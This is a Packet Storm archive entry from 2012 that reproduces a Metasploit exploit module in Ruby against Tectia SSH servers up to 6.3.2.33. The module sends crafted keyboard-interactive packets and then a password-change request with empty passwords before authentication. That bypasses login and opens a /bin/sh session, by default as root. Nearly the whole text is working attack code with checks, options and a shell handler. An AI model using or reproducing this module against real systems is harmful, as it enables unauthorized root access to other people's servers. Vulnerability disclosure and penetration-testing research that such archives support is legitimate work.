Tectia SSH USERAUTH Change Request Password Reset

2012-12-05T00:00:00
ID PACKETSTORM:118620
Type packetstorm
Reporter Kingcope
Modified 2012-12-05T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability in Tectia SSH server for Unix-based  
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request  
before password authentication, allowing any remote user to bypass the login  
routine, and then gain access as root.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'kingcope', #Original 0day  
'bperry',  
'sinn3r'  
],  
'References' =>  
[  
['EDB', '23082'],  
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],  
],  
'Privileged' => true,  
'DisclosureDate' => "Dec 01 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(22),  
OptString.new('USERNAME', [true, 'The username to login as', 'root'])  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def check  
connect  
banner = sock.get_once  
print_status("#{rhost}:#{rport} - #{banner}")  
disconnect  
  
return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/  
return Exploit::CheckCode::Safe  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
#  
# This is where the login begins. We're expected to use the keyboard-interactive method to  
# authenticate, but really all we want is skipping it so we can move on to the password  
# method authentication.  
#  
def auth_keyboard_interactive(user, transport)  
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")  
auth_req_pkt = Net::SSH::Buffer.from(  
:byte, 0x32, #userauth request  
:string, user, #username  
:string, "ssh-connection", #service  
:string, "keyboard-interactive", #method name  
:string, "", #lang  
:string, ""  
)  
  
user_auth_pkt = Net::SSH::Buffer.from(  
:byte, 0x3D, #userauth info  
:raw, 0x01, #number of prompts  
:string, "", #password  
:raw, "\0"*32 #padding  
)  
  
transport.send_message(auth_req_pkt)  
message = transport.next_message  
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")  
  
message = transport.next_message  
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")  
  
# USERAUTH INFO  
transport.send_message(user_auth_pkt)  
message = transport.next_message  
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")  
  
2.times do |i|  
#USRAUTH REQ  
transport.send_message(auth_req_pkt)  
message = transport.next_message  
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")  
  
# USERAUTH INFO  
transport.send_message(user_auth_pkt)  
message = transport.next_message  
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")  
end  
end  
  
  
#  
# The following link is useful to understand how to craft the USERAUTH password change  
# request packet:  
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903  
#  
def userauth_passwd_change(user, transport, connection)  
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")  
pkt = Net::SSH::Buffer.from(  
:byte, 0x32, #userauth request  
:string, user, #username  
:string, "ssh-connection", #service  
:string, "password" #method name  
)  
pkt.write_bool(true)  
pkt.write_string("") #Old pass  
pkt.write_string("") #New pass  
  
transport.send_message(pkt)  
message = transport.next_message.type  
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")  
  
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS  
transport.send_message(transport.service_request("ssh-userauth"))  
message = transport.next_message.type  
  
if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT  
shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)  
connection = nil  
return shell  
end  
end  
end  
  
def do_login(user)  
opts = {:user=>user, :record_auth_info=>true}  
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)  
transport = Net::SSH::Transport::Session.new(rhost, options)  
connection = Net::SSH::Connection::Session.new(transport, options)  
auth_keyboard_interactive(user, transport)  
userauth_passwd_change(user, transport, connection)  
end  
  
def exploit  
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're  
# engaging a variety of SSHD targets on a network.  
if check != Exploit::CheckCode::Appears  
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")  
return  
end  
  
c = nil  
  
begin  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
c = do_login(datastore['USERNAME'])  
end  
rescue Rex::ConnectionError, Rex::AddressInUse  
return  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return  
end  
  
handler(c.lsock) if c  
end  
end  
`